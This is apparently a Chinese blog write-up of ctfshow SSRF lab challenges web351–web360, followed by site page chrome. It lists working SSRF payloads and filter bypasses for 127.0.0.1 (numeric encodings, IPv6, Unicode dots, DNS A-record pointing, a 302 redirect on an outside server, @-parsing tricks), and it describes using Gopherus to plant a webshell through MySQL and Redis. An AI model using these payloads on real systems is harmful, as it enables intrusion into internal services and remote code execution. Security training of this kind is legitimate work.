ctfshow SSRF

这位师傅讲的非常详细

目录

web351

web352

web353

web354

web355

web356

web357

web358

web359

web360


web351

给了一段代码,不知道什么意思就去查看PHP cURL 函数 | 菜鸟教程

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化 cURL 会话
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$result=curl_exec($ch);//执行 cURL 会话
curl_close($ch);//关闭 cURL 会话
echo ($result);
?>

这代码其实就是没有做任何防护,我们的目的就是 进入内网获取信息

直接post

url=http://127.0.0.1/flag.php

web352

$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){

记录一下parse_url()的作用

http://u:p@a.com:80@b.com/

php解析结果:

schema: http

host: b.com

user: u

pass: p@a.com:80

所以这题只需满足是http或者https就行,根本没影响

稍作过滤, 127.0.0.1的绕过方式太多了,  

127.0.0.1绕过-进制转换
 
十进制 2130706433
 
八进制 017700000001
 
二进制 0b1111111000000000000000000000001 
十六进制 0x7f000001
http://localhost/       # localhost就是代指127.0.0.1
http://0/               # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

web353

if(!preg_match('/localhost|127\.0\.|\。/i', $url))

同上 

web354

if(!preg_match('/localhost|1|0|。/i', $url))

0和1都禁用了,想拿http://①②⑦.⓪.⓪.①来绕过,但是没有反应

看大佬修改自己域名的a记录,也去尝试一下

域名解析的记录值修改成127.0.0.1

 payload:

url=http://自己的域名/flag.php

web355

$host=$x['host'];
if((strlen($host)<=5)) //这里的host就是127.0.0.1

控制host长度小于5 ,直接127.1 就行 

web356

$host=$x['host'];
if((strlen($host)<=3)){

 3个长度,直接 url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程

PHP filter_var() 函数 | 菜鸟教程

看教程用302跳转,就是在自己的服务器上写一个php文件,内容如下

<?php 
header("Location: http://127.0.0.1/flag.php");
?>

然后访问这个文件

url=http://thnpkm.xyz/ssrf.php

web358

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);

以ctf开头,show结尾,有个操作用@和?

在@前加的内容都不会被解析成host的内容,而#或?后面的的内容也不会被解析到path中

url=http://ctf.@127.0.0.1/flag.php?show

 

web359

打无密码的mysql

完全是跟着wp来尝试,就是通过Gopherus把一句话写进网站根目录,语句要正确

 然后复制过去 

下划线后面的值再url编码一次,然后执行

这样一句话打进去后就可以在a.php 下rce了 

web360

打redis

也是看wp学操作, 进入redis

默认是在shell.php执行,操作方式与上题一样,下划线后url编码 

自己没弄出来,可能把题目环境搞崩了

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值